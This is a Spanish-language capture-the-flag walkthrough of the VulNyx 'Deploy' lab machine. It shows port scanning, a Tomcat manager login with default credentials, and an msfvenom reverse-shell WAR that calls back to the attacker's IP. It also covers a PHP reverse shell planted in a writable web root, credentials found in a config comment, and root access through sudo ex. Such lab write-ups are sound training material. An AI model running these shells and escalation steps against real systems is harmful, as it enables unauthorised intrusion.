VulNyx - Deploy
- Tomcat Missconfigured
- Deploy War File
- Abusing Ex Binary
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.121
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,8080 192.168.1.121
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
| 256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_ 256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En el puerto 80 hay un servidor apache por defecto.
En el puerto 8080 hay un servidor apache tomcat.
Al hacer click en manager webapp
me sale un formulario para iniciar sesión.
Consigo conectarme con las credenciales por defecto tomcat:s3cret
.
Con msfvenom creo un archivo .war
.
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.18 LPORT=1234 -f war -o rs.war
Payload size: 1103 bytes
Final size of war file: 1103 bytes
Saved as: rs.war
Subo el archivo y le doy al botón desplegar.
Una vez subido puedo ver el archivo war en la parte de aplicaciones.
Hago click en /rs
y obtengo una shell como usuario tomcat.
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.121] 35808
id
uid=998(tomcat) gid=998(tomcat) grupos=998(tomcat)
Enumero usuarios del sistema.
tomcat@deploy:/$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
toor:x:1000:1000:toor,,,:/home/toor:/bin/bash
sa:x:1001:1001::/home/sa:/usr/bin/bash
En el archivo tomcat-users.xml
ubicado en /etc/tomcat9/
encuentro las credenciales del usuario sa dentro de un comentario.
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<user username="tomcat" password="s3cret" roles="manager-gui"/>
<!-- <user username="sa" password="salala!!" roles="manager-gui"/> -->
</tomcat-users>
Me conecto al sistema como usuario sa.
❯ ssh sa@192.168.1.121
sa@192.168.1.121's password:
Linux deploy 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
sa@deploy:~$
Veo que tengo permisos en /var/www/html
.
sa@deploy:~$ ls -la /var/www/html
total 20
drwxrwxrwx 2 www-data www-data 4096 may 11 00:32 .
drwxrwxrwx 3 www-data www-data 4096 may 10 22:11 ..
-rwxrwxrwx 1 www-data www-data 10701 may 10 22:11 index.html
Me descargo esta shell y la subo a la máquina objetivo.
sa@deploy:/var/www/html$ ls -l
total 24
-rwxrwxrwx 1 www-data www-data 10701 may 10 22:11 index.html
-rw-r--r-- 1 sa sa 3536 jun 20 20:38 rs.php
Uso curl para mandar una petición a la shell.
curl http://192.168.1.121/rs.php
Recibo la shell como usuario toor.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.121] 51828
Linux deploy 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64 GNU/Linux
20:39:17 up 51 min, 1 user, load average: 0.00, 0.00, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
sa pts/1 192.168.1.18 20:32 50.00s 0.02s 0.02s -bash
uid=1000(toor) gid=1000(toor) groups=1000(toor)
Enumero permisos de sudo.
toor@deploy:/$ sudo -l
Matching Defaults entries for toor on deploy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User toor may run the following commands on deploy:
(root) NOPASSWD: /usr/bin/ex
Obtengo el root usando el recurso de gtfobins.
sudo ex
:!/bin/bash
root@deploy:~# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Deploy.
Saludos!